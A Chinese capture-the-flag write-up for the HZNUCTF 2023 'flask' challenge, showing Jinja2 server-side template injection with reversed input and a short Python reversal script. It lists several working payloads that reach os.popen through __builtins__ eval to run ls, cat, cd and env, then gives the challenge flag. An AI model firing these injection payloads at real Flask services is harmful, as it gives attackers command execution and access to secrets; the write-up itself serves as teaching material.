[HZNUCTF 2023 preliminary]flask
点开之后页面如图所示:
猜测是SSTI模板注入,先输入{7*7},发现模板是倒序输入的:
然后我们输入}}‘7’*7{{返回777777,这是jinja2模板:
我们需要让用户输入一个字符串,对其进行反转操作,然后将反转后的字符串进行 Base64 编码,最后输出反转后的字符串。
以下是python倒序代码:
import base64
strA = input('需要转换的字符:')
strB=strA[::-1]
sbase=str(base64.b64encode(strB.encode("utf-8")), "utf-8") #base
print(strB) #base不能直接编码,要先换成byte类型,直接在线网站编码
接着我们构造payload,找出flag文件 :
?name=}})')(daer.)"/ sl"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{
运行之后得到:
发现flag在flag.sh文件下,接着构造payload:
?name=}})')(daer.)"hs.galf/ cat"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{
运行之后得到:
给出提示/bin/bash,然后我们构造payload:
?name=}})')(daer.)"sl;hsab/nib/ dc"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{
运行之后得到:
出现了两个文件,我们逐个进行访问:
均访问无果。接着用env命令查看一下环境变量:
?name=}})')(daer.)"vne"(nepop.)"so"(__tropmi__'(lave.]'__snitliub__'[__slabolg__.__tini__.a{{
运行之后得到:
由此得到本题flag:
NSSCTF{0ad074d0-aa90-4e1e-86a5-5dc51f1ceed2}